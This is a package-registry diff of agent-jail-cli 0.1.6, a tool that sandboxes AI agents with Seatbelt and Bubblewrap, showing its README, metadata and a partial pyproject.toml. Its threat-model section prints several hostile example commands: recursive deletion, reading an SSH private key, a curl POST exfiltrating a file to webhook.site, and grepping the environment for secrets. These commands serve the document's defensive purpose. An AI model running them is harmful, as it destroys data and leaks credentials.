agent-jail-cli 0.1.6__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- agent_jail_cli-0.1.6/.gitignore +37 -0
- agent_jail_cli-0.1.6/LICENSE +21 -0
- agent_jail_cli-0.1.6/PKG-INFO +256 -0
- agent_jail_cli-0.1.6/README.md +229 -0
- agent_jail_cli-0.1.6/pyproject.toml +58 -0
- agent_jail_cli-0.1.6/src/agent_jail/__init__.py +3 -0
- agent_jail_cli-0.1.6/src/agent_jail/cli.py +215 -0
- agent_jail_cli-0.1.6/src/agent_jail/config.py +247 -0
- agent_jail_cli-0.1.6/src/agent_jail/proxy.py +330 -0
- agent_jail_cli-0.1.6/src/agent_jail/resources/__init__.py +1 -0
- agent_jail_cli-0.1.6/src/agent_jail/resources/agent-jail.sb +99 -0
- agent_jail_cli-0.1.6/src/agent_jail/runners/__init__.py +21 -0
- agent_jail_cli-0.1.6/src/agent_jail/runners/base.py +67 -0
- agent_jail_cli-0.1.6/src/agent_jail/runners/linux.py +202 -0
- agent_jail_cli-0.1.6/src/agent_jail/runners/macos.py +150 -0
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
TODO.md
|
|
2
|
+
RED_*.md
|
|
3
|
+
|
|
4
|
+
# Byte-compiled / optimized / DLL files
|
|
5
|
+
__pycache__/
|
|
6
|
+
*.py[cod]
|
|
7
|
+
*$py.class
|
|
8
|
+
|
|
9
|
+
# Distribution / packaging
|
|
10
|
+
dist/
|
|
11
|
+
build/
|
|
12
|
+
*.egg-info/
|
|
13
|
+
.eggs/
|
|
14
|
+
|
|
15
|
+
# Virtual environments
|
|
16
|
+
.venv/
|
|
17
|
+
.env
|
|
18
|
+
env/
|
|
19
|
+
venv/
|
|
20
|
+
ENV/
|
|
21
|
+
|
|
22
|
+
# Testing & Coverage
|
|
23
|
+
.pytest_cache/
|
|
24
|
+
.coverage
|
|
25
|
+
htmlcov/
|
|
26
|
+
|
|
27
|
+
# Agent jail local policy
|
|
28
|
+
.allowed_domains
|
|
29
|
+
.allowed_domains.txt
|
|
30
|
+
|
|
31
|
+
# IDE & Editor files
|
|
32
|
+
.vscode/
|
|
33
|
+
.idea/
|
|
34
|
+
*.swp
|
|
35
|
+
*.swo
|
|
36
|
+
*~
|
|
37
|
+
.DS_Store
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Ralph
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,256 @@
|
|
|
1
|
+
Metadata-Version: 2.5
|
|
2
|
+
Name: agent-jail-cli
|
|
3
|
+
Version: 0.1.6
|
|
4
|
+
Summary: Zero-overhead, OS-level sandboxing for autonomous AI agents on macOS and Linux
|
|
5
|
+
Project-URL: Homepage, https://github.com/szetaa/agent-jail
|
|
6
|
+
Project-URL: Repository, https://github.com/szetaa/agent-jail
|
|
7
|
+
Project-URL: Issues, https://github.com/szetaa/agent-jail/issues
|
|
8
|
+
Author: Ralph
|
|
9
|
+
License: MIT
|
|
10
|
+
License-File: LICENSE
|
|
11
|
+
Keywords: agents,ai,bubblewrap,llm,sandbox,seatbelt,security
|
|
12
|
+
Classifier: Development Status :: 4 - Beta
|
|
13
|
+
Classifier: Intended Audience :: Developers
|
|
14
|
+
Classifier: License :: OSI Approved :: MIT License
|
|
15
|
+
Classifier: Programming Language :: Python :: 3
|
|
16
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
17
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
18
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
19
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
20
|
+
Classifier: Topic :: Security
|
|
21
|
+
Classifier: Topic :: Software Development :: Build Tools
|
|
22
|
+
Requires-Python: >=3.10
|
|
23
|
+
Requires-Dist: pyyaml>=6.0
|
|
24
|
+
Provides-Extra: dev
|
|
25
|
+
Requires-Dist: pytest>=7.0.0; extra == 'dev'
|
|
26
|
+
Description-Content-Type: text/markdown
|
|
27
|
+
|
|
28
|
+
# 🔒 agent-jail (`aj`)
|
|
29
|
+
|
|
30
|
+
> **Kernel-enforced OS sandboxing for autonomous AI agents — with zero overhead.**
|
|
31
|
+
> One universal YAML policy (`aj-conf.yaml`) to confine any agent harness (`claude`, `codex`, `gemini`, `pi`, `aider`) or custom Python loop (LangChain, DeepAgents, Agno, CrewAI) strictly to your project folder with sub-millisecond startup.
|
|
32
|
+
|
|
33
|
+
[](LICENSE)
|
|
34
|
+
[](https://www.python.org/downloads/)
|
|
35
|
+
[](#how-it-works-the-4-defense-perimeters)
|
|
36
|
+
|
|
37
|
+
---
|
|
38
|
+
|
|
39
|
+
## The Reality of Running Agents Locally
|
|
40
|
+
|
|
41
|
+
If you build or run autonomous agents, you give LLMs a bash tool or a Python interpreter that accepts arbitrary `os` operations. One hallucinated command, buggy path resolution, or prompt injection is all it takes:
|
|
42
|
+
|
|
43
|
+
* 💥 **File destruction:** `rm -rf ../` or wiping code outside the active repository.
|
|
44
|
+
* 🔑 **Credential snooping:** `cat ~/.ssh/id_ed25519` reading private keys and host tokens.
|
|
45
|
+
* 📡 **Silent exfiltration:** `curl -X POST https://webhook.site/leak -d @confidential.json` transmitting local data outbound.
|
|
46
|
+
* 🕵️ **Environment leakage:** `env | grep -i secret` harvesting host tokens (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, active `SSH_AUTH_SOCK`) into LLM context.
|
|
47
|
+
|
|
48
|
+
`agent-jail` enforces boundaries directly at the OS kernel level (**Apple Seatbelt** on macOS, **Bubblewrap** on Linux). It starts in **under 1ms**, runs without heavy daemons or virtual machines, and preserves your native terminal workflow.
|
|
49
|
+
|
|
50
|
+
---
|
|
51
|
+
|
|
52
|
+
## Quick Start
|
|
53
|
+
|
|
54
|
+
### 1. Install via `uv`
|
|
55
|
+
|
|
56
|
+
Install once globally (works on macOS and Ubuntu/Debian):
|
|
57
|
+
|
|
58
|
+
```bash
|
|
59
|
+
# Install directly from GitHub
|
|
60
|
+
uv tool install git+https://github.com/szetaa/agent-jail.git
|
|
61
|
+
|
|
62
|
+
# Update to latest version from GitHub
|
|
63
|
+
uv tool upgrade agent-jail
|
|
64
|
+
|
|
65
|
+
# Or install from a local checkout (for development)
|
|
66
|
+
uv tool install --force .
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
*Registers both `agent-jail` and the shortcut `aj` in your `$PATH`.*
|
|
70
|
+
|
|
71
|
+
### 2. Prefix Your Agent
|
|
72
|
+
|
|
73
|
+
Prefix any command or script with `aj`:
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
aj pi # Run your Pi agent
|
|
77
|
+
aj python run_agent.py # Run your LangChain / DeepAgents / Agno / CrewAI loop
|
|
78
|
+
aj bash # Drop into a sandboxed interactive shell
|
|
79
|
+
aj # Default: launches sandboxed shell
|
|
80
|
+
```
|
|
81
|
+
|
|
82
|
+
> **Pro-tip:** Add an alias to your `~/.zshrc` or `~/.bashrc`:
|
|
83
|
+
> ```bash
|
|
84
|
+
> alias pi="aj pi"
|
|
85
|
+
> ```
|
|
86
|
+
|
|
87
|
+
---
|
|
88
|
+
|
|
89
|
+
## How It Works: The 4 Defense Perimeters
|
|
90
|
+
|
|
91
|
+
```
|
|
92
|
+
HOST MACHINE
|
|
93
|
+
┌───────────────────────────────────────────────────────────────┐
|
|
94
|
+
│ Host Services: │
|
|
95
|
+
│ - Allowed Localhost Ports (e.g. Ollama 11434, llama.cpp 8080)│
|
|
96
|
+
│ - Dynamic Forward Proxy (127.0.0.1:<random_port>) │
|
|
97
|
+
└──────────────────────────────▲────────────────────────────────┘
|
|
98
|
+
│ HTTP_PROXY (Allowed Domains only)
|
|
99
|
+
═══════════════════════════════╪═════════════════════════════════
|
|
100
|
+
KERNEL SANDBOX BOUNDARY
|
|
101
|
+
═══════════════════════════════╪═════════════════════════════════
|
|
102
|
+
┌──────────────────────────────┴────────────────────────────────┐
|
|
103
|
+
│ Jailed Process: `aj <command>` │
|
|
104
|
+
│ │
|
|
105
|
+
│ 1. WRITES: Universal Default-Deny │
|
|
106
|
+
│ - Only configured paths (default: $PROJECT) and private │
|
|
107
|
+
│ ephemeral $TMPDIR writable. │
|
|
108
|
+
│ - /Users, /Volumes, /etc, ~/.ssh are strictly locked. │
|
|
109
|
+
│ - Project can be made fully read-only via `write: []`. │
|
|
110
|
+
│ │
|
|
111
|
+
│ 2. PERSISTENCE DEFENSE: │
|
|
112
|
+
│ - .git/hooks, .git/config, .envrc, .mcp.json, .vscode, │
|
|
113
|
+
│ and aj-conf.yaml locked read-only. │
|
|
114
|
+
│ │
|
|
115
|
+
│ 3. NETWORK CONTAINMENT: │
|
|
116
|
+
│ - Raw outbound network killed by kernel (macOS). │
|
|
117
|
+
│ - Approved HTTP routes via dynamic proxy (SSRF protected) │
|
|
118
|
+
│ - Configured localhost ports pass directly. │
|
|
119
|
+
│ │
|
|
120
|
+
│ 4. ENVIRONMENT SANITIZATION: │
|
|
121
|
+
│ - Stripped host env (no leaked AWS keys, no SSH sockets). │
|
|
122
|
+
│ - Script-loaded project .env works normally. │
|
|
123
|
+
└───────────────────────────────────────────────────────────────┘
|
|
124
|
+
```
|
|
125
|
+
|
|
126
|
+
1. **Universal Write Lockdown & Scoped Project Writes (`write:`):**
|
|
127
|
+
Universal default-deny across the entire machine. By default, writes are permitted inside `$PROJECT` (`write: ["."]`) and an ephemeral `$TMPDIR` deleted on exit. You can restrict writes to specific subfolders (e.g. `write: ["output", ".cache"]`) or make the entire project strictly read-only (`write: []`).
|
|
128
|
+
2. **Granular Read Access & Secret Hiding (`read:` and `hide:`):**
|
|
129
|
+
Outside data (`/Users`, `/Volumes`) is blocked. Inside the project, reads default to full project access (`read: ["."]`), but you can scope reads to specific subfolders (e.g. `read: ["src", ".venv"]`) or explicitly deny read access to sensitive files like secrets (`hide: [".env"]`).
|
|
130
|
+
3. **Network Containment & Dynamic Forward Proxy:**
|
|
131
|
+
Raw outbound internet is blocked by the kernel on macOS (and via proxy environment routing on Linux). Approved HTTP/HTTPS traffic routes through an unjailed local proxy enforcing domain allowlists and SSRF protection (dropping private/loopback/cloud-metadata IPs unless explicitly allowed). Blocked requests appear on `stderr` in real time:
|
|
132
|
+
```text
|
|
133
|
+
agent-jail [proxy]: 🚫 Blocked CONNECT to malicious-site.com:443 (Domain not in allowlist)
|
|
134
|
+
```
|
|
135
|
+
4. **Environment Scrubbing & Anti-Tampering:**
|
|
136
|
+
Host credentials (`AWS_*`, `GITHUB_*`, `SSH_AUTH_SOCK`) are stripped before launch. Developer persistence vectors (`.git/hooks`, `.git/config`, `.envrc`, `.mcp.json`, `.vscode`, `aj-conf.yaml`) are locked **read-only** so agents cannot stage delayed escapes.
|
|
137
|
+
|
|
138
|
+
---
|
|
139
|
+
|
|
140
|
+
## Configuration (`aj-conf.yaml`)
|
|
141
|
+
|
|
142
|
+
`agent-jail` automatically generates an `aj-conf.yaml` file in your project folder on first run (or manually via `aj --init`).
|
|
143
|
+
|
|
144
|
+
If you have a global template at `~/.aj/default_conf.yaml`, it will be copied automatically!
|
|
145
|
+
|
|
146
|
+
```yaml
|
|
147
|
+
# aj-conf.yaml
|
|
148
|
+
|
|
149
|
+
network:
|
|
150
|
+
# Outbound domains, wildcards (*.domain.com), or specific host:port endpoints
|
|
151
|
+
allowed_domains:
|
|
152
|
+
- github.com
|
|
153
|
+
- "*.github.com"
|
|
154
|
+
- githubusercontent.com
|
|
155
|
+
- "*.githubusercontent.com"
|
|
156
|
+
- pypi.org
|
|
157
|
+
- "*.pypi.org"
|
|
158
|
+
- pythonhosted.org
|
|
159
|
+
- "*.pythonhosted.org"
|
|
160
|
+
- huggingface.co
|
|
161
|
+
- "*.huggingface.co"
|
|
162
|
+
- registry.npmjs.org
|
|
163
|
+
# Cloud LLM APIs (uncomment as needed):
|
|
164
|
+
# - api.openai.com
|
|
165
|
+
# - api.anthropic.com
|
|
166
|
+
# - generativelanguage.googleapis.com
|
|
167
|
+
# - openrouter.ai
|
|
168
|
+
# Local LLM servers (standard ports):
|
|
169
|
+
# - 127.0.0.1:11434 # Ollama
|
|
170
|
+
# - 127.0.0.1:8080 # llama.cpp (llama-server)
|
|
171
|
+
# - 127.0.0.1:4000 # LiteLLM Proxy
|
|
172
|
+
# - 127.0.0.1:1234 # LM Studio
|
|
173
|
+
# - 127.0.0.1:8000 # vLLM / Local FastAPI
|
|
174
|
+
|
|
175
|
+
filesystem:
|
|
176
|
+
# Directories permitted for read access.
|
|
177
|
+
# Default: ["."] grants read access to the entire project directory.
|
|
178
|
+
# Restrict to specific subfolders (e.g. ["src", ".venv"]) for granular reads.
|
|
179
|
+
read:
|
|
180
|
+
- .
|
|
181
|
+
|
|
182
|
+
# Specific files or directories to hide completely (deny read).
|
|
183
|
+
# Useful when read: ["."] is enabled but you want to protect secrets like .env.
|
|
184
|
+
hide:
|
|
185
|
+
# - .env
|
|
186
|
+
# - secrets
|
|
187
|
+
|
|
188
|
+
# Directories permitted for write access.
|
|
189
|
+
# Default: ["."] grants write access to the project directory.
|
|
190
|
+
# Restrict to specific subfolders (e.g. ["output", ".cache"]) for granular access,
|
|
191
|
+
# or leave empty ([]) to make the entire project strictly read-only.
|
|
192
|
+
write:
|
|
193
|
+
- .
|
|
194
|
+
|
|
195
|
+
env:
|
|
196
|
+
# Host environment variables to pass into the sandbox
|
|
197
|
+
passthrough:
|
|
198
|
+
# - OPENAI_API_KEY
|
|
199
|
+
# - ANTHROPIC_API_KEY
|
|
200
|
+
# - GEMINI_API_KEY
|
|
201
|
+
```
|
|
202
|
+
|
|
203
|
+
---
|
|
204
|
+
|
|
205
|
+
## Platform Prerequisites
|
|
206
|
+
|
|
207
|
+
* **macOS:** Zero installation needed. Uses Apple's built-in `sandbox-exec` (Seatbelt).
|
|
208
|
+
* **Linux (Ubuntu / Debian / Fedora / Arch):** Requires unprivileged Bubblewrap:
|
|
209
|
+
```bash
|
|
210
|
+
sudo apt-get install bubblewrap # Ubuntu / Debian
|
|
211
|
+
sudo dnf install bubblewrap # Fedora
|
|
212
|
+
sudo pacman -S bubblewrap # Arch
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
---
|
|
216
|
+
|
|
217
|
+
## Development, Testing & Publishing
|
|
218
|
+
|
|
219
|
+
### Local Testing
|
|
220
|
+
|
|
221
|
+
```bash
|
|
222
|
+
# Run the test suite with uv (runs in ~30ms)
|
|
223
|
+
uv run --with pytest pytest -v
|
|
224
|
+
|
|
225
|
+
# Build wheels locally
|
|
226
|
+
uv build
|
|
227
|
+
|
|
228
|
+
# Test changes locally in your global environment before pushing
|
|
229
|
+
uv tool install --force .
|
|
230
|
+
```
|
|
231
|
+
|
|
232
|
+
### Publishing a New Version (Git Release)
|
|
233
|
+
|
|
234
|
+
`agent-jail` is distributed directly via Git:
|
|
235
|
+
|
|
236
|
+
```bash
|
|
237
|
+
# 1. Commit and push on ongoing
|
|
238
|
+
git add -A
|
|
239
|
+
git commit -m "feat: description (v0.x.x)"
|
|
240
|
+
git push origin ongoing
|
|
241
|
+
|
|
242
|
+
# 2. Merge into main and push (publishes release)
|
|
243
|
+
git checkout main
|
|
244
|
+
git merge ongoing
|
|
245
|
+
git push origin main
|
|
246
|
+
git checkout ongoing
|
|
247
|
+
|
|
248
|
+
# 3. Update your local machine
|
|
249
|
+
uv tool upgrade agent-jail
|
|
250
|
+
```
|
|
251
|
+
|
|
252
|
+
---
|
|
253
|
+
|
|
254
|
+
## License
|
|
255
|
+
|
|
256
|
+
[MIT](LICENSE)
|
|
@@ -0,0 +1,229 @@
|
|
|
1
|
+
# 🔒 agent-jail (`aj`)
|
|
2
|
+
|
|
3
|
+
> **Kernel-enforced OS sandboxing for autonomous AI agents — with zero overhead.**
|
|
4
|
+
> One universal YAML policy (`aj-conf.yaml`) to confine any agent harness (`claude`, `codex`, `gemini`, `pi`, `aider`) or custom Python loop (LangChain, DeepAgents, Agno, CrewAI) strictly to your project folder with sub-millisecond startup.
|
|
5
|
+
|
|
6
|
+
[](LICENSE)
|
|
7
|
+
[](https://www.python.org/downloads/)
|
|
8
|
+
[](#how-it-works-the-4-defense-perimeters)
|
|
9
|
+
|
|
10
|
+
---
|
|
11
|
+
|
|
12
|
+
## The Reality of Running Agents Locally
|
|
13
|
+
|
|
14
|
+
If you build or run autonomous agents, you give LLMs a bash tool or a Python interpreter that accepts arbitrary `os` operations. One hallucinated command, buggy path resolution, or prompt injection is all it takes:
|
|
15
|
+
|
|
16
|
+
* 💥 **File destruction:** `rm -rf ../` or wiping code outside the active repository.
|
|
17
|
+
* 🔑 **Credential snooping:** `cat ~/.ssh/id_ed25519` reading private keys and host tokens.
|
|
18
|
+
* 📡 **Silent exfiltration:** `curl -X POST https://webhook.site/leak -d @confidential.json` transmitting local data outbound.
|
|
19
|
+
* 🕵️ **Environment leakage:** `env | grep -i secret` harvesting host tokens (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, active `SSH_AUTH_SOCK`) into LLM context.
|
|
20
|
+
|
|
21
|
+
`agent-jail` enforces boundaries directly at the OS kernel level (**Apple Seatbelt** on macOS, **Bubblewrap** on Linux). It starts in **under 1ms**, runs without heavy daemons or virtual machines, and preserves your native terminal workflow.
|
|
22
|
+
|
|
23
|
+
---
|
|
24
|
+
|
|
25
|
+
## Quick Start
|
|
26
|
+
|
|
27
|
+
### 1. Install via `uv`
|
|
28
|
+
|
|
29
|
+
Install once globally (works on macOS and Ubuntu/Debian):
|
|
30
|
+
|
|
31
|
+
```bash
|
|
32
|
+
# Install directly from GitHub
|
|
33
|
+
uv tool install git+https://github.com/szetaa/agent-jail.git
|
|
34
|
+
|
|
35
|
+
# Update to latest version from GitHub
|
|
36
|
+
uv tool upgrade agent-jail
|
|
37
|
+
|
|
38
|
+
# Or install from a local checkout (for development)
|
|
39
|
+
uv tool install --force .
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
*Registers both `agent-jail` and the shortcut `aj` in your `$PATH`.*
|
|
43
|
+
|
|
44
|
+
### 2. Prefix Your Agent
|
|
45
|
+
|
|
46
|
+
Prefix any command or script with `aj`:
|
|
47
|
+
|
|
48
|
+
```bash
|
|
49
|
+
aj pi # Run your Pi agent
|
|
50
|
+
aj python run_agent.py # Run your LangChain / DeepAgents / Agno / CrewAI loop
|
|
51
|
+
aj bash # Drop into a sandboxed interactive shell
|
|
52
|
+
aj # Default: launches sandboxed shell
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
> **Pro-tip:** Add an alias to your `~/.zshrc` or `~/.bashrc`:
|
|
56
|
+
> ```bash
|
|
57
|
+
> alias pi="aj pi"
|
|
58
|
+
> ```
|
|
59
|
+
|
|
60
|
+
---
|
|
61
|
+
|
|
62
|
+
## How It Works: The 4 Defense Perimeters
|
|
63
|
+
|
|
64
|
+
```
|
|
65
|
+
HOST MACHINE
|
|
66
|
+
┌───────────────────────────────────────────────────────────────┐
|
|
67
|
+
│ Host Services: │
|
|
68
|
+
│ - Allowed Localhost Ports (e.g. Ollama 11434, llama.cpp 8080)│
|
|
69
|
+
│ - Dynamic Forward Proxy (127.0.0.1:<random_port>) │
|
|
70
|
+
└──────────────────────────────▲────────────────────────────────┘
|
|
71
|
+
│ HTTP_PROXY (Allowed Domains only)
|
|
72
|
+
═══════════════════════════════╪═════════════════════════════════
|
|
73
|
+
KERNEL SANDBOX BOUNDARY
|
|
74
|
+
═══════════════════════════════╪═════════════════════════════════
|
|
75
|
+
┌──────────────────────────────┴────────────────────────────────┐
|
|
76
|
+
│ Jailed Process: `aj <command>` │
|
|
77
|
+
│ │
|
|
78
|
+
│ 1. WRITES: Universal Default-Deny │
|
|
79
|
+
│ - Only configured paths (default: $PROJECT) and private │
|
|
80
|
+
│ ephemeral $TMPDIR writable. │
|
|
81
|
+
│ - /Users, /Volumes, /etc, ~/.ssh are strictly locked. │
|
|
82
|
+
│ - Project can be made fully read-only via `write: []`. │
|
|
83
|
+
│ │
|
|
84
|
+
│ 2. PERSISTENCE DEFENSE: │
|
|
85
|
+
│ - .git/hooks, .git/config, .envrc, .mcp.json, .vscode, │
|
|
86
|
+
│ and aj-conf.yaml locked read-only. │
|
|
87
|
+
│ │
|
|
88
|
+
│ 3. NETWORK CONTAINMENT: │
|
|
89
|
+
│ - Raw outbound network killed by kernel (macOS). │
|
|
90
|
+
│ - Approved HTTP routes via dynamic proxy (SSRF protected) │
|
|
91
|
+
│ - Configured localhost ports pass directly. │
|
|
92
|
+
│ │
|
|
93
|
+
│ 4. ENVIRONMENT SANITIZATION: │
|
|
94
|
+
│ - Stripped host env (no leaked AWS keys, no SSH sockets). │
|
|
95
|
+
│ - Script-loaded project .env works normally. │
|
|
96
|
+
└───────────────────────────────────────────────────────────────┘
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
1. **Universal Write Lockdown & Scoped Project Writes (`write:`):**
|
|
100
|
+
Universal default-deny across the entire machine. By default, writes are permitted inside `$PROJECT` (`write: ["."]`) and an ephemeral `$TMPDIR` deleted on exit. You can restrict writes to specific subfolders (e.g. `write: ["output", ".cache"]`) or make the entire project strictly read-only (`write: []`).
|
|
101
|
+
2. **Granular Read Access & Secret Hiding (`read:` and `hide:`):**
|
|
102
|
+
Outside data (`/Users`, `/Volumes`) is blocked. Inside the project, reads default to full project access (`read: ["."]`), but you can scope reads to specific subfolders (e.g. `read: ["src", ".venv"]`) or explicitly deny read access to sensitive files like secrets (`hide: [".env"]`).
|
|
103
|
+
3. **Network Containment & Dynamic Forward Proxy:**
|
|
104
|
+
Raw outbound internet is blocked by the kernel on macOS (and via proxy environment routing on Linux). Approved HTTP/HTTPS traffic routes through an unjailed local proxy enforcing domain allowlists and SSRF protection (dropping private/loopback/cloud-metadata IPs unless explicitly allowed). Blocked requests appear on `stderr` in real time:
|
|
105
|
+
```text
|
|
106
|
+
agent-jail [proxy]: 🚫 Blocked CONNECT to malicious-site.com:443 (Domain not in allowlist)
|
|
107
|
+
```
|
|
108
|
+
4. **Environment Scrubbing & Anti-Tampering:**
|
|
109
|
+
Host credentials (`AWS_*`, `GITHUB_*`, `SSH_AUTH_SOCK`) are stripped before launch. Developer persistence vectors (`.git/hooks`, `.git/config`, `.envrc`, `.mcp.json`, `.vscode`, `aj-conf.yaml`) are locked **read-only** so agents cannot stage delayed escapes.
|
|
110
|
+
|
|
111
|
+
---
|
|
112
|
+
|
|
113
|
+
## Configuration (`aj-conf.yaml`)
|
|
114
|
+
|
|
115
|
+
`agent-jail` automatically generates an `aj-conf.yaml` file in your project folder on first run (or manually via `aj --init`).
|
|
116
|
+
|
|
117
|
+
If you have a global template at `~/.aj/default_conf.yaml`, it will be copied automatically!
|
|
118
|
+
|
|
119
|
+
```yaml
|
|
120
|
+
# aj-conf.yaml
|
|
121
|
+
|
|
122
|
+
network:
|
|
123
|
+
# Outbound domains, wildcards (*.domain.com), or specific host:port endpoints
|
|
124
|
+
allowed_domains:
|
|
125
|
+
- github.com
|
|
126
|
+
- "*.github.com"
|
|
127
|
+
- githubusercontent.com
|
|
128
|
+
- "*.githubusercontent.com"
|
|
129
|
+
- pypi.org
|
|
130
|
+
- "*.pypi.org"
|
|
131
|
+
- pythonhosted.org
|
|
132
|
+
- "*.pythonhosted.org"
|
|
133
|
+
- huggingface.co
|
|
134
|
+
- "*.huggingface.co"
|
|
135
|
+
- registry.npmjs.org
|
|
136
|
+
# Cloud LLM APIs (uncomment as needed):
|
|
137
|
+
# - api.openai.com
|
|
138
|
+
# - api.anthropic.com
|
|
139
|
+
# - generativelanguage.googleapis.com
|
|
140
|
+
# - openrouter.ai
|
|
141
|
+
# Local LLM servers (standard ports):
|
|
142
|
+
# - 127.0.0.1:11434 # Ollama
|
|
143
|
+
# - 127.0.0.1:8080 # llama.cpp (llama-server)
|
|
144
|
+
# - 127.0.0.1:4000 # LiteLLM Proxy
|
|
145
|
+
# - 127.0.0.1:1234 # LM Studio
|
|
146
|
+
# - 127.0.0.1:8000 # vLLM / Local FastAPI
|
|
147
|
+
|
|
148
|
+
filesystem:
|
|
149
|
+
# Directories permitted for read access.
|
|
150
|
+
# Default: ["."] grants read access to the entire project directory.
|
|
151
|
+
# Restrict to specific subfolders (e.g. ["src", ".venv"]) for granular reads.
|
|
152
|
+
read:
|
|
153
|
+
- .
|
|
154
|
+
|
|
155
|
+
# Specific files or directories to hide completely (deny read).
|
|
156
|
+
# Useful when read: ["."] is enabled but you want to protect secrets like .env.
|
|
157
|
+
hide:
|
|
158
|
+
# - .env
|
|
159
|
+
# - secrets
|
|
160
|
+
|
|
161
|
+
# Directories permitted for write access.
|
|
162
|
+
# Default: ["."] grants write access to the project directory.
|
|
163
|
+
# Restrict to specific subfolders (e.g. ["output", ".cache"]) for granular access,
|
|
164
|
+
# or leave empty ([]) to make the entire project strictly read-only.
|
|
165
|
+
write:
|
|
166
|
+
- .
|
|
167
|
+
|
|
168
|
+
env:
|
|
169
|
+
# Host environment variables to pass into the sandbox
|
|
170
|
+
passthrough:
|
|
171
|
+
# - OPENAI_API_KEY
|
|
172
|
+
# - ANTHROPIC_API_KEY
|
|
173
|
+
# - GEMINI_API_KEY
|
|
174
|
+
```
|
|
175
|
+
|
|
176
|
+
---
|
|
177
|
+
|
|
178
|
+
## Platform Prerequisites
|
|
179
|
+
|
|
180
|
+
* **macOS:** Zero installation needed. Uses Apple's built-in `sandbox-exec` (Seatbelt).
|
|
181
|
+
* **Linux (Ubuntu / Debian / Fedora / Arch):** Requires unprivileged Bubblewrap:
|
|
182
|
+
```bash
|
|
183
|
+
sudo apt-get install bubblewrap # Ubuntu / Debian
|
|
184
|
+
sudo dnf install bubblewrap # Fedora
|
|
185
|
+
sudo pacman -S bubblewrap # Arch
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
---
|
|
189
|
+
|
|
190
|
+
## Development, Testing & Publishing
|
|
191
|
+
|
|
192
|
+
### Local Testing
|
|
193
|
+
|
|
194
|
+
```bash
|
|
195
|
+
# Run the test suite with uv (runs in ~30ms)
|
|
196
|
+
uv run --with pytest pytest -v
|
|
197
|
+
|
|
198
|
+
# Build wheels locally
|
|
199
|
+
uv build
|
|
200
|
+
|
|
201
|
+
# Test changes locally in your global environment before pushing
|
|
202
|
+
uv tool install --force .
|
|
203
|
+
```
|
|
204
|
+
|
|
205
|
+
### Publishing a New Version (Git Release)
|
|
206
|
+
|
|
207
|
+
`agent-jail` is distributed directly via Git:
|
|
208
|
+
|
|
209
|
+
```bash
|
|
210
|
+
# 1. Commit and push on ongoing
|
|
211
|
+
git add -A
|
|
212
|
+
git commit -m "feat: description (v0.x.x)"
|
|
213
|
+
git push origin ongoing
|
|
214
|
+
|
|
215
|
+
# 2. Merge into main and push (publishes release)
|
|
216
|
+
git checkout main
|
|
217
|
+
git merge ongoing
|
|
218
|
+
git push origin main
|
|
219
|
+
git checkout ongoing
|
|
220
|
+
|
|
221
|
+
# 3. Update your local machine
|
|
222
|
+
uv tool upgrade agent-jail
|
|
223
|
+
```
|
|
224
|
+
|
|
225
|
+
---
|
|
226
|
+
|
|
227
|
+
## License
|
|
228
|
+
|
|
229
|
+
[MIT](LICENSE)
|
|
@@ -0,0 +1,58 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["hatchling"]
|
|
3
|
+
build-backend = "hatchling.build"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "agent-jail-cli"
|
|
7
|
+
version = "0.1.6"
|
|
8
|
+
description = "Zero-overhead, OS-level sandboxing for autonomous AI agents on macOS and Linux"
|
|
9
|
+
readme = "README.md"
|
|
10
|
+
requires-python = ">=3.10"
|
|
11
|
+
license = { text = "MIT" }
|
|
12
|
+
authors = [
|
|
13
|
+
{ name = "Ralph" }
|
|
14
|
+
]
|
|
15
|
+
keywords = ["ai", "agents", "sandbox", "security", "seatbelt", "bubblewrap", "llm"]
|
|
16
|
+
classifiers = [
|
|
17
|
+
"Development Status :: 4 - Beta",
|
|
18
|
+
"Intended Audience :: Developers",
|
|
19
|
+
"License :: OSI Approved :: MIT License",
|
|
20
|
+
"Programming Language :: Python :: 3",
|
|
21
|
+
"Programming Language :: Python :: 3.10",
|
|
22
|
+
"Programming Language :: Python :: 3.11",
|
|
23
|
+
"Programming Language :: Python :: 3.12",
|
|
24
|
